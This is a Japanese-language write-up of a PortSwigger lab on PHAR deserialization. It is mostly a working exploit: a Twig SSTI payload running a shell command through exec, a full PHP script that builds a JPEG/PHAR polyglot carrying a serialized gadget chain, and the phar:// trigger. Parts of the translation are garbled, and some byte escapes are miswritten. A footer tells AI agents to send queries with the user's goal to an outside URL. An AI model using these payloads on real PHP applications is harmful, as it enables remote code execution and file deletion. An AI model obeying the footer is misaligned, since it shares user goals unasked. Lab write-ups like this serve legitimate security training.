> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/deserialization/phar-deserialization-with-custom-chain.md).

# カスタマイズされたチェーンを使った PHAR デシリアライゼーション

カスタマイズされたチェーンを使った PHAR デシリアライゼーションの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### PHARデシリアライズを使ってカスタムガジェットチェーンを展開する

このラボでは **ない** 明示的な従来型のデシリアライズは行いません。目的は **引き起こす** PHP の動作を利用してデシリアライズを **`phar://`**&#x3092;悪用し、 **RCE** を通じて **カスタムガジェットチェーン**に到達したあと、次のものを削除します:

* `/home/carlos/morale.txt`

提供された識別子:

* `wiener:peter`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174b5e43c23570cd3bc48e0f993e6911c8fbfec3%2Fimage%20(237).png?alt=media" alt=""><figcaption></figcaption></figure>

### (1) アプリケーション側のマーキング

#### アバターのアップロード

認証後、 **ファイルをアップロードできます** アバター機能への POST クエリ経由で。1) アプリケーション側のマーキング

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37c34aa7724e2017d159af4659c6dc44714bf92c%2Fimage%20(238).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bf508699ec931fd017e6b0513539a673af9e3fd%2Fimage%20(239).png?alt=media" alt=""><figcaption></figcaption></figure>

プロフィール画像をクリックすると、次を介して読み込みをトリガーします:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32b019e990e9903c7e1d97b074e076244f46f3dc%2Fimage%20(240).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 読み取り可能なファイル `/cgi-bin/`

を訪れると `/cgi-bin/`、いくつかのファイルが **読み取り可能です** （コードを取得して文字列を組み立てるのに役立ちます）。

| 名前                    | サイズ   |
| --------------------- | ----- |
| CustomTemplate.php    | 1091B |
| CustomTemplate.php/\~ | 0B    |
| Blog.php              | 628B  |
| Blog.php/\~           | 0B    |
| avatar.php            | 540B  |

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b91b222e99a8f8da5aade527e3e5bd546f58a86%2Fimage%20(241).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2) ソースコードを復元

#### `blog.php`

〜があります `Blog` Twig を初期化するクラス `__wakeup()`:

* `__sleep()` シリアライズする `ユーザー` および `desc`
* `__wakeup()` を構築する `Twig_Environment` を基にしたテンプレートで `desc`
* `__toString()` レンダリングする `index` そして挿入する `ユーザー`

重要なポイント: `desc` そのまま **Twig テンプレート**になるため、ターゲットとして利用できます **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

その `CustomTemplate` クラスには次が含まれます:

* プライベートな `$template_file_path` フィールド
* 1つの `__destruct()` 次の処理を行うデストラクタ:
* `@unlink($this->lockFilePath());`

`lockFilePath()` 次を構築する:

* `'templates/' . $this->template_file_path . '.lock'`

したがって、 `template_file_path` を文字列に変換されるオブジェクトで制御できれば、 `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos はこれが良いアイデアだと思った
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Twig の有効なペイロード (SSTI → 実行)

使用した Twig ペイロード:

目的は `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) 操作戦略: Polyglot PHAR

課題: アップロードは **image**. / 解決策: 作成する **ポリグロット** ファイル：

* として有効な **JPEG**
* だが、次を含む **PHAR** (tar/phar 形式) で **メタデータ** シリアライズされた

なぜ機能するのか?

* PHP が `phar://...`経由でリソースを開くと、PHAR マニフェストの読み込みと **特定のメタデータの読み取りを引き起こす場合があります** （したがって `__wakeup`, `__destruct`など、文字列に応じて実行されます）。

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // <?php を削除。prefix 付きでは動作しない
    $len = strlen($phar) + 2; // 固定
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // tar のチェックサムを計算
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // チェックサムを埋め込む
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// pop エクスプロイト用クラス
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// jpg 用の設定
$tempname = 'temp.tar.phar'; // tar にする
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// jpg を作成
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// gif 用の設定
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // gif ヘッダー、サイズ 300 x 300
$tempname = 'temp.phar'; // phar にする
$outfile = 'out.gif';

// gif を作成
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) 構築済みガジェットチェーン

次を作る：

* 1つの `Blog` 次を持つオブジェクト:
* `user = "pwned"`
* `desc = <Twig SSTI ペイロード>`
* その後、このオブジェクトを `CustomTemplate->template_file_path`

そうすると、 `CustomTemplate` が破棄されるとき、 `lockFilePath()` オブジェクトの値を連結し、それによって文字列への変換が強制される → 呼び出す `Blog::__toString()` → トリガーする `twig->render()` → 解釈する `desc` → コマンドを実行する。

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcbf355533c83e1bf4176125a7996684bfec5081%2Fimage%20(242).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:\"CustomTemplate\":1:{s:18:\"template_file_path\";O:4:\"Blog\":2:{s:4:\"user\";s:5:\"pwned\";s:4:\"desc\";s:106:\"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}\";}}"
```

{% endcode %}

* アップロード `out.jpg` としてアバターを

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f03158efa02cc52d5afbb52dbf55151c4f18bd5e%2Fimage%20(243).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56bcacfe6c49d1680f52e5a1edb7b6984180642f%2Fimage%20(244).png?alt=media" alt=""><figcaption></figcaption></figure>

次を介したリソース呼び出し `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

その時点で、アプリケーションは PHAR ラッパーでリソースを開き、メタデータがデシリアライズされ、文字列がトリガーされ、ファイル:

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
